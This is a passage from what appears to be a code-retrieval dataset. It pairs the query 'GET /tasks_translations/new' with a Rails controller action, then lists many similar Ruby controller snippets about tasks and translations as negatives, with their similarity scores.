query
stringlengths
7
9.55k
document
stringlengths
10
363k
metadata
dict
negatives
listlengths
0
101
negative_scores
listlengths
0
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
GET /tasks_translations/1 GET /tasks_translations/1.xml
def show @tasks_translation = TasksTranslation.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @tasks_translation } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @tasks_translation = TasksTranslation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tasks_translation }\n end\n end", "def request_translations(texts, options = T.unsafe(nil), http_options = T.unsafe(nil)); end", "def translations(language = nil)\n Birdman::Requester.get(\"movies/#{id}/translations/#{language}\")\n end", "def index\n @tasks = @project.tasks\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tasks }\n end\n end", "def fetch_translations(locale)\n self.translations ||= {}\n return if self.translations[locale]\n\n # Tml.logger.debug(\"Fetching translations for #{label}\")\n\n results = self.application.api_client.get(\n \"translation_keys/#{self.key}/translations\",\n {:locale => locale, :per_page => 10000},\n {:cache_key => Tml::TranslationKey.cache_key(locale, self.key)}\n ) || []\n\n update_translations(locale, results)\n\n self\n rescue Tml::Exception => ex\n self.translations = {}\n self\n end", "def show\n @task = Task.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @task }\n end\n end", "def index\n @example_translations = ExampleTranslation.all\n end", "def index\n get_tasks\n get_priorities\n get_users\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tasks }\n end\n end", "def show\n @events_translation = EventsTranslation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @events_translation }\n end\n end", "def index\r\n @service_translations = ServiceTranslation.all\r\n end", "def show\n @task = Task.find_by_name(unescape_url(params[:id]))\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task }\n end\n end", "def translations; end", "def index\n @tasks = Task.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tasks }\n end\n end", "def fetch_translation(to_translate, from, to, access_token)\n # API documentation:\n # http://msdn.microsoft.com/en-us/library/ff512421.aspx\n translation_uri = 'http://api.microsofttranslator.com/V2/Http.svc/Translate'\n\n uri = URI.parse(translation_uri)\n params = {\n :appId => '',\n :text => to_translate,\n :from => from,\n :to => to,\n :contentType => 'text/plain',\n }\n uri.query = URI.encode_www_form(params)\n\n request = Net::HTTP::Get.new(uri.request_uri)\n request.add_field('Authorization', \"Bearer #{access_token}\")\n res = Net::HTTP.new(uri.host, uri.port).start do |http|\n http.request(request)\n end\n\n result = res.body\n result = result.gsub(/<string xmlns=\".*\">/, \"\")\n result = result.gsub(/<\\/string>/, \"\")\n result\n end", "def index\n @tasks = Task.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tasks }\n end\n end", "def list_tasks(api_object)\n puts \"Current Tasks:\"\n doc = Nokogiri::XML.parse api_object.read\n puts doc\n descriptions = doc.xpath('tasks/task/description').collect {|e| e.text }\n puts descriptions.join(\", \")\n puts \"\"\nend", "def index\n @tasks = Task.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tasks }\n end\n end", "def index\n @tasks = Task.find(:all, :order => \"name asc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tasks }\n end\n end", "def show\n @project_task = ProjectTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project_task }\n end\n end", "def editable_list \n @translations = Translation.paginate(:page => params[:page], :per_page=>25) \n #puts \"@translations: \" + @translations.first.dot_key_code\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @translations }\n end\n end", "def index\n @page_translations = PageTranslation.all\n end", "def index\n @articles = Article.translated\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @articles }\n end\n end", "def show\n @task = Task.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task }\n end\n end", "def get_po\r\n\r\n send_file(\"#{Rails.root}/po/#{params[:locale]}/#{APP_SID}.po\",\r\n :filename => \"#{APP_SID}.po\",\r\n :type => \"text/x-gettext-translation\")\r\n end", "def index\n @pages = []\n website.available_locales.each do |l|\n @pages << {\n url: locale_sitemap_url(locale: l.locale.to_s, format: 'xml'),\n updated_at: 1.day.ago}\n end\n respond_to do |format|\n format.html\n format.xml\n end\n end", "def show\n @subtask = Subtask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subtask }\n end\n end", "def index\n @translations = TRANSLATION_STORE\n end", "def show\n @task = Task.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task }\n end\n end", "def show\n @task = Task.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task }\n end\n end", "def show\n @task = Task.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task }\n end\n end", "def show\n @task = Task.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task }\n end\n end", "def show\n @task = Task.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task }\n end\n end", "def show\n @task = Task.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task }\n end\n end", "def index\n @translations = @locale.translations.all(:order => \"raw_key, pluralization_index\")\n end", "def destroy\n @tasks_translation = TasksTranslation.find(params[:id])\n @tasks_translation.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_tasks_translations_url) }\n format.xml { head :ok }\n end\n end", "def index\r\n @tasks = get_sorted_list_of_tasks\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @tasks }\r\n end\r\n end", "def show\n @task = Task.find(params[:id])\n @subtasks = @task.children\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task }\n end\n end", "def index\n @translated_files = TranslatedFile.all\n end", "def translations( params={} )\n translations = get_connections(\"translations\", params)\n return map_connections translations, :to => Facebook::Graph::Generic\n end", "def show\n @project = Project.find(params[:id])\n @members = @project.members.all\n @tasks = @project.tasks.all(:order => \"status, priority, deadline\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => [@project, @members, @tasks] }\n end\n end", "def index\n\t\t@languages = Language.all\n\t\t@title = t(\"translate.title\")\n\t\trespond_with @languages\n\tend", "def request_translation(params = {})\n response = Unirest.post(\"#{Unbabel::Client::ENDPOINT}/translation/\",\n parameters: params.to_json)\n response.body\n end", "def show\n @task = Task.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task }\n format.xml { render xml: @task }\n end\n end", "def index\n @title = \"Indonesian Language Resources\"\n @resources = Resource.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @resources }\n end\n end", "def index\n @rus_translations = RusTranslation.all\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task }\n end\n end", "def GetLocale id\n\n APICall(path: \"locales/#{id}.json\")\n\n end", "def show\n #@translation_language = TranslationLanguage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @translation_language }\n end\n end", "def show\n\t\t@language = Language.find(params[:id])\n\t\t@translatees = Admin::Translatee.all\n\t\t@title = t(\"translate.show_title\", language: t(\"languages.#{@language.english_name.downcase}\"))\n\t\t\n\t\trespond_with @language\n\tend", "def show\n @reports_translation = ReportsTranslation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reports_translation }\n end\n end", "def show\n @reports_translation = ReportsTranslation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reports_translation }\n end\n end", "def show\n\t\t@admin_translatee = Admin::Translatee.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render :json => @admin_translatee }\n\t\tend\n\tend", "def show\n @workflow_task = WorkflowTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @workflow_task }\n end\n end", "def index\n # GET /tasks\n @tasks = Task.all\n end", "def translation_for(locale)\n success = true\n tries ||= 3\n translation = self.translations.detect{ |t| t.locale == locale }\n return translation if translation\n return nil if self.new_record\n request = Net::HTTP::Get.new(\"/api/projects/#{Connection.api_key}/terms/#{self.id}/locales/#{locale}/translations.yaml\")\n WebTranslateIt::Util.add_fields(request)\n begin\n response = Util.handle_response(Connection.http_connection.request(request), true, true)\n array = YAML.load(response)\n return nil if array.empty?\n translations = []\n array.each do |translation|\n term_translation = WebTranslateIt::TermTranslation.new(translation)\n translations.push(term_translation)\n end\n return translations\n \n rescue Timeout::Error\n puts \"Request timeout. Will retry in 5 seconds.\"\n if (tries -= 1) > 0\n sleep(5)\n retry\n else\n success = false\n end\n end\n success\n end", "def task(name)\n get \"#{base_url}/tasks/#{name}\"\n end", "def create_translations\n end", "def translations_for route\n available_locales.map do |locale|\n translate_route(route, locale.dup) #we duplicate the locale string to ensure it's not frozen\n end\n end", "def url\n\n \"/tasks/#{self.id}\"\n\n end", "def index\n @tasks = current_user.tasks.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tasks }\n end\n end", "def download_translations\n status\n @crowdin.export_translations\n @lang_ready.each do |lang|\n puts \"Downloading '#{lang}' in zip format\"\n @crowdin.download_translation(lang, output: \"#{@download_folder}/output-#{lang}.zip\")\n end\n end", "def create\n @tasks_translation = TasksTranslation.new(params[:tasks_translation])\n\n respond_to do |format|\n if @tasks_translation.save\n format.html { redirect_to([:admin,@tasks_translation], :notice => 'Tasks translation was successfully created.') }\n format.xml { render :xml => @tasks_translation, :status => :created, :location => @tasks_translation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tasks_translation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def show\n @task_priority = TaskPriority.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @task_priority }\n end\n end", "def show\n @user_task = UserTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_task }\n end\n end", "def i18n\n begin\n render :text=>I18n.translate(params[:id], :raise => I18n::MissingTranslationData)\n rescue I18n::MissingTranslationData\n render :text=>\"No translation for #{params[:id]}\", :status => 404\n end\n end", "def index\n page = params[:page] || 1\n @reports_translations = ReportsTranslation.paginate :page => page, :order => 'created_at DESC' rescue nil\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reports_translations }\n end\n end", "def show\n @rg_task = RgTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rg_task }\n end\n end", "def show\n @task = current_user.tasks.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task }\n end\n end", "def show\n @translation = Translation.find_by_permalink(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @translation }\n end\n end", "def show\n @time_task = TimeTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @time_task }\n end\n end", "def show\n @createdtranslation = Createdtranslation.find(params[:id])\n end", "def show\r\n @task = @current_user.tasks.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @task }\r\n end\r\n end", "def get_translations\n I18n.translate(:foo) # Need to do this to force I18n init\n I18n.backend.send(:translations)\n end", "def api_url\n \"/api/projects/#{self.api_key}/files/#{self.id}/locales/#{self.locale}\"\n end", "def show\n @page_title = \"Task List\"\n @task_list = TaskList.find(params[:id])\n @tasks = Task.find(:all,\n :conditions => [\"task_list_id = ?\",@task_list.id]\n ) \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @task_list }\n end\n end", "def show\n @content_translation = ContentTranslation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @content_translation }\n end\n end", "def index\n @task_transitions = TaskTransition.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @task_transitions }\n end\n end", "def index\n new_i18n_key\n respond_with(collection)\n end", "def run(items)\n return nil if super(items).nil?\n\n url = 'https://api.cognitive.microsofttranslator.com/translate?api-version=3.0&to='\n @uri = URI.parse(url + @langs.key(@settings['translation_language']))\n @headers = { 'Ocp-Apim-Subscription-Key' => @settings['api_key'] }\n ['Content-Type', 'Accept'].each { |k| @headers[k] = 'application/json' }\n progress_dialog\n end", "def translations_hash; end", "def new\n @events_translation = EventsTranslation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @events_translation }\n end\n end", "def init_translations; end", "def index\n @translated_lines = TranslatedLine.all\n end", "def tasks\n @use_case = UseCase.find(params[:id])\n @project = @use_case.project\n respond_to do |format|\n format.html \n end\n end", "def get_tasks_from_xml( doc )\r\n\r\n # Extract details of every task into a flat array\r\n tasks = []\r\n\r\n logger.error \"DEBUG: BEGIN get_tasks_from_xml\"\r\n\r\n tracker_alias = Setting.plugin_redmine_loader['tracker_alias'].force_encoding \"UTF-8\"\r\n tracker_field_id = nil;\r\n #FIXME Надо проверить как оно работает\r\n doc.each_element( \"Project/ExtendedAttributes/ExtendedAttribute[Alias='#{tracker_alias}']/FieldID\") do | ext_attr |\r\n tracker_field_id = ext_attr.text.to_i;\r\n end\r\n\r\n doc.each_element( 'Project/Tasks/Task' ) do | task |\r\n begin\r\n logger.error \"Project/Tasks/Task found\"\r\n struct = OpenStruct.new\r\n struct.level = task.get_elements( 'OutlineLevel' )[0].text.to_i if task.get_elements('OutlineLevel')[0]\r\n struct.outlinenumber = task.get_elements('OutlineNumber')[0].text.strip if task.get_elements('OutlineNumber')[0]\r\n\r\n if auxString = struct.outlinenumber\r\n index = auxString.rindex('.')\r\n if index\r\n index -= 1\r\n struct.outnum = auxString[0..index]\r\n end\r\n end\r\n\r\n struct.tid = task.get_elements('ID')[0].text.to_i if task.get_elements('ID')[0]\r\n struct.uid = task.get_elements('UID')[0].text.to_i if task.get_elements('UID')[0]\r\n struct.title = task.get_elements('Name')[0].text.strip if task.get_elements('Name')[0]\r\n struct.start = task.get_elements('Start')[0].text.split(\"T\")[0] if task.get_elements('Start')[0]\r\n struct.finish = task.get_elements('Finish')[0].text.split(\"T\")[0] if task.get_elements('Finish')[0]\r\n\r\n s1 = task.get_elements('Start')[0].text.strip if task.get_elements('Start')[0]\r\n s2 = task.get_elements('Finish')[0].text.strip if task.get_elements('Finish')[0]\r\n\r\n task.each_element( \"ExtendedAttribute[FieldID='#{tracker_field_id}']/Value\") do | tracker_value |\r\n struct.tracker_name = tracker_value.text\r\n end\r\n\r\n # If the start date and the finish date are the same it is a milestone\r\n struct.milestone = (s1 == s2) ? 1 : 0\r\n\r\n struct.percentcomplete = task.get_elements( 'PercentComplete')[0].text.to_i\r\n struct.notes = task.get_elements( 'Notes' )[ 0 ].text.strip if task.get_elements( 'Notes' )[0]\r\n struct.predecessors = []\r\n struct.delays = []\r\n task.each_element( 'PredecessorLink' ) do | predecessor |\r\n begin\r\n struct.predecessors.push( predecessor.get_elements('PredecessorUID')[0].text.to_i )\r\n struct.delays.push( predecessor.get_elements('LinkLag')[0].text.to_i )\r\n end\r\n end\r\n\r\n tasks.push( struct )\r\n #rescue\r\n# rescue => error\r\n# # Ignore errors; they tend to indicate malformed tasks, or at least,\r\n# # XML file task entries that we do not understand.\r\n# logger.error \"DEBUG: Unrecovered error getting tasks: #{error}\"\r\n end\r\n end\r\n\r\n # Sort the array by ID. By sorting the array this way, the order\r\n # order will match the task order displayed to the user in the\r\n # project editor software which generated the XML file.\r\n\r\n tasks = tasks.sort_by { | task | task.tid }\r\n\r\n outlinenumber2UID = tasks.group_by(&:outlinenumber)\r\n\r\n # Step through the sorted tasks. Each time we find one where the\r\n # *next* task has an outline level greater than the current task,\r\n # then the current task MUST be a summary. Record its name and\r\n # blank out the task from the array. Otherwise, use whatever\r\n # summary name was most recently found (if any) as a name prefix.\r\n\r\n all_categories = []\r\n category = ''\r\n\r\n tasks.each_index do | index |\r\n task = tasks[ index ]\r\n next_task = tasks[ index + 1 ]\r\n\r\n # Instead of deleting the sumary tasks I only delete the task 0 (the project)\r\n\r\n #if ( next_task and next_task.level > task.level )\r\n # category = task.title.strip.gsub(/:$/, '') unless task.title.nil? # Kill any trailing :'s which are common in some project files\r\n # all_categories.push(category) # Keep track of all categories so we know which ones might need to be added\r\n #tasks[ index ] = \"Prueba\"\r\n if task.level == 0\r\n category = task.title.strip.gsub(/:$/, '') if task.title.present? # Kill any trailing :'s which are common in some project files\r\n all_categories.push(category) # Keep track of all categories so we know which ones might need to be added\r\n tasks[ index ] = nil\r\n else\r\n task.category = category\r\n end\r\n end\r\n\r\n # Remove any 'nil' items we created above. Add parent_uid field\r\n tasks = tasks.compact.uniq.map do |task|\r\n task.parent_uid = outlinenumber2UID[task.outnum][0].uid if outlinenumber2UID[task.outnum].present?\r\n task\r\n end\r\n\r\n # Now create a secondary array, where the UID of any given task is\r\n # the array index at which it can be found. This is just to make\r\n # looking up tasks by UID really easy, rather than faffing around\r\n # with \"tasks.find { | task | task.uid = <whatever> }\".\r\n\r\n uid_tasks = []\r\n\r\n tasks.each do | task |\r\n uid_tasks[ task.uid ] = task\r\n end\r\n\r\n # OK, now it's time to parse the assignments into some meaningful\r\n # array. These will become our redmine issues. Assignments\r\n # which relate to empty elements in \"uid_tasks\" or which have zero\r\n # work are associated with tasks which are either summaries or\r\n # milestones. Ignore both types.\r\n\r\n real_tasks = []\r\n\r\n #doc.each_element( 'Project/Assignments/Assignment' ) do | as |\r\n # task_uid = as.get_elements( 'TaskUID' )[ 0 ].text.to_i\r\n # task = uid_tasks[ task_uid ] unless task_uid.nil?\r\n # next if ( task.nil? )\r\n\r\n # work = as.get_elements( 'Work' )[ 0 ].text\r\n # Parse the \"Work\" string: \"PT<num>H<num>M<num>S\", but with some\r\n # leniency to allow any data before or after the H/M/S stuff.\r\n # hours = 0\r\n # mins = 0\r\n # secs = 0\r\n\r\n # strs = work.scan(/.*?(\\d+)H(\\d+)M(\\d+)S.*?/).flatten unless work.nil?\r\n # hours, mins, secs = strs.map { | str | str.to_i } unless strs.nil?\r\n\r\n #next if ( hours == 0 and mins == 0 and secs == 0 )\r\n\r\n # Woohoo, real task!\r\n\r\n # task.duration = ( ( ( hours * 3600 ) + ( mins * 60 ) + secs ) / 3600 ).prec_f\r\n\r\n # real_tasks.push( task )\r\n #end\r\n\r\n set_assignment_to_task(doc,uid_tasks)\r\n\r\n logger.error \"DEBUG: Real tasks: #{real_tasks.inspect}\"\r\n logger.error \"DEBUG: Tasks: #{tasks.inspect}\"\r\n\r\n real_tasks = tasks if real_tasks.empty?\r\n\r\n real_tasks = real_tasks.uniq if real_tasks.present?\r\n all_categories = all_categories.uniq.sort\r\n\r\n logger.error \"DEBUG: END get_tasks_from_xml\"\r\n\r\n return real_tasks, all_categories\r\n end", "def translations\n @translations ||= {}\n end", "def resources\n @task[:resources]\n end", "def index\n @api_tasks = Api::Task.all\n end", "def tasks\n uri = URI(BASE_URL + TASKS_ENDPOINT)\n\n make_request(uri)\n end", "def index\n @definition_translations = DefinitionTranslation.all\n end", "def show\n \n @task = @project.tasks.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task }\n end\n end", "def index\n @translations_versions_tests = TranslationsVersionsTest.all\n end", "def show\n @task = Task.find(params[:id])\n @subtasks = @task.statuses.order(:created_at).reverse\n @subtask = Status.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task }\n end\n end", "def index\n @locales = query(LOCALE, :code)\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @locales }\n end\n end", "def filter\n translation_ids = params[:translations].to_s.split(',')\n @translations = load_translations.where(id: translation_ids)\n render\n end", "def translate\n api = ENV['API']\n url = 'https://translation.googleapis.com/language/translate/v2?key='\n target_language = self.phrasebook.language.abbr\n input = self.phrase.input\n # byebug\n\n request = HTTParty.get(url + api + '&q=' + input + '&source=en' + '&target=' + target_language)\n response = JSON.parse(request.body)\n translation = response['data']['translations'][0]['translatedText']\n end", "def show\n @reminder_task_list = ReminderTaskList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reminder_task_list }\n end\n end", "def show\n #@all_tasks = \n #if @tasks\n # @q = @tasks.ransack(params[:q])\n # @tasks = @q.result.page(params[:page])\n # else\n @tasks = @task.subtasks\n # -----------------------------\n @q = @tasks.ransack(params[:q])\n @tasks = @q.result.page(params[:page])\n #end\n end", "def show\n @agile_task = AgileTask.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @agile_task }\n end\n end", "def index\n\t\t@tasks = Task.all \n\t\t@q = Task.ransack(params[:q])\n\t\t@tasks = @q.result(distinct: true)\n\t\t@messages = Message.all\n\tend" ]
[ "0.6161382", "0.60855395", "0.60156786", "0.6014239", "0.5986636", "0.59794897", "0.59421444", "0.5916029", "0.5911339", "0.5886465", "0.5881313", "0.58089095", "0.5805754", "0.57732743", "0.57634354", "0.5756552", "0.57557786", "0.5734326", "0.5657179", "0.5623847", "0.56137335", "0.56013834", "0.5599261", "0.5585878", "0.55848193", "0.55479676", "0.5546182", "0.55446976", "0.5543422", "0.5543422", "0.5543422", "0.5543422", "0.5543422", "0.5536099", "0.5531783", "0.5531291", "0.5527454", "0.55235684", "0.55015606", "0.5489719", "0.5474039", "0.5466108", "0.5463338", "0.5459637", "0.5440345", "0.54348946", "0.5395936", "0.5393108", "0.53804934", "0.5350841", "0.5350841", "0.53410274", "0.5331653", "0.5327637", "0.53210676", "0.5319207", "0.5318992", "0.5313721", "0.52799326", "0.52603155", "0.52547747", "0.52401584", "0.5231446", "0.5221413", "0.5218507", "0.5206033", "0.51990134", "0.51946104", "0.51897496", "0.51665306", "0.51662385", "0.5165453", "0.5160171", "0.51588374", "0.5152779", "0.5136028", "0.5131088", "0.5129949", "0.51269925", "0.51229465", "0.5113178", "0.5110268", "0.51099443", "0.510875", "0.5108601", "0.51076686", "0.51036966", "0.50934726", "0.509343", "0.5090837", "0.5083049", "0.5081581", "0.50775105", "0.50765264", "0.5073579", "0.5070663", "0.5070528", "0.50681436", "0.50679094", "0.50669074" ]
0.7059508
0
GET /tasks_translations/new GET /tasks_translations/new.xml
def new @tasks_translation = TasksTranslation.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @tasks_translation } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n format.xml { render xml: @tasks }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "def new\n @project_task = ProjectTask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project_task }\n end\n end", "def create\n @tasks_translation = TasksTranslation.new(params[:tasks_translation])\n\n respond_to do |format|\n if @tasks_translation.save\n format.html { redirect_to([:admin,@tasks_translation], :notice => 'Tasks translation was successfully created.') }\n format.xml { render :xml => @tasks_translation, :status => :created, :location => @tasks_translation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tasks_translation.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @events_translation = EventsTranslation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @events_translation }\n end\n end", "def new\n @task = context.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "def new\n @task = Task.new(:user_id => current_user.id)\n\n respond_to do |format|\n format.xml { render :xml => @task }\n end\n end", "def new\n @translation_language = TranslationLanguage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @translation_language }\n end\n end", "def new\n @translation = Translation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @translation }\n end\n end", "def new\r\n @task = @current_user.tasks.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @task }\r\n end\r\n end", "def new\n @subtask = Subtask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @subtask }\n end\n end", "def new\n @page_title = \"Task List New\"\n @task_list = TaskList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task_list }\n end\n end", "def new_rest\n @question_localized = QuestionLocalized.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question_localized }\n end\n end", "def new\n @workflow_task = WorkflowTask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @workflow_task }\n end\n end", "def new\n @template_task = TemplateTask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @template_task }\n end\n end", "def new\n @rg_task = RgTask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rg_task }\n end\n end", "def new\n @time_task = TimeTask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @time_task }\n end\n end", "def new\n @_template = @site.templates.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @_template }\n end\n end", "def new\n @task_priority = TaskPriority.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @task_priority }\n end\n end", "def new\n options = {} \n options[:status_id] = Status.find_by_title(params[:page]).id if params[:page]\n @task = Task.new(options)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n format.js { render :layout => false }\n end\n end", "def new\n @quest_template = QuestTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @quest_template }\n end\n end", "def new\n @user_task = UserTask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_task }\n end\n end", "def new\n @article ||= Article.new(:locale => I18n.default_locale)\n @title = t('label.article.creating')\n\n respond_to do |format|\n format.html { render :action => \"new\" }\n format.xml { render :xml => @article }\n end\n end", "def new_rest\n @answer_localized = AnswerLocalized.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @answer_localized }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @task = Task.new(:task_list => TaskList.find(params[:task_list_id]))\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "def new\n\n\n\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @task = Task.new\n @sprint = Sprint.find(params[:id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "def new\n @content_translation = ContentTranslation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_translation }\n end\n end", "def new\n @task = current_user.tasks.new\n @tags = current_user.tags.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "def create_translations\n end", "def new\n @task = Task.new\n \n respond_to do |format|\n format.html # new.html.erb\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @new_project = Project.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @new_project }\n end\n end", "def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end", "def new\n @solicitud = Solicitud.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitud }\n end\n end", "def new\n # raise params.inspect\n @task = Task.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @po }\n end\n end", "def new\n @workflow_task_type = WorkflowTaskType.new\n\n respond_to do |format|\n 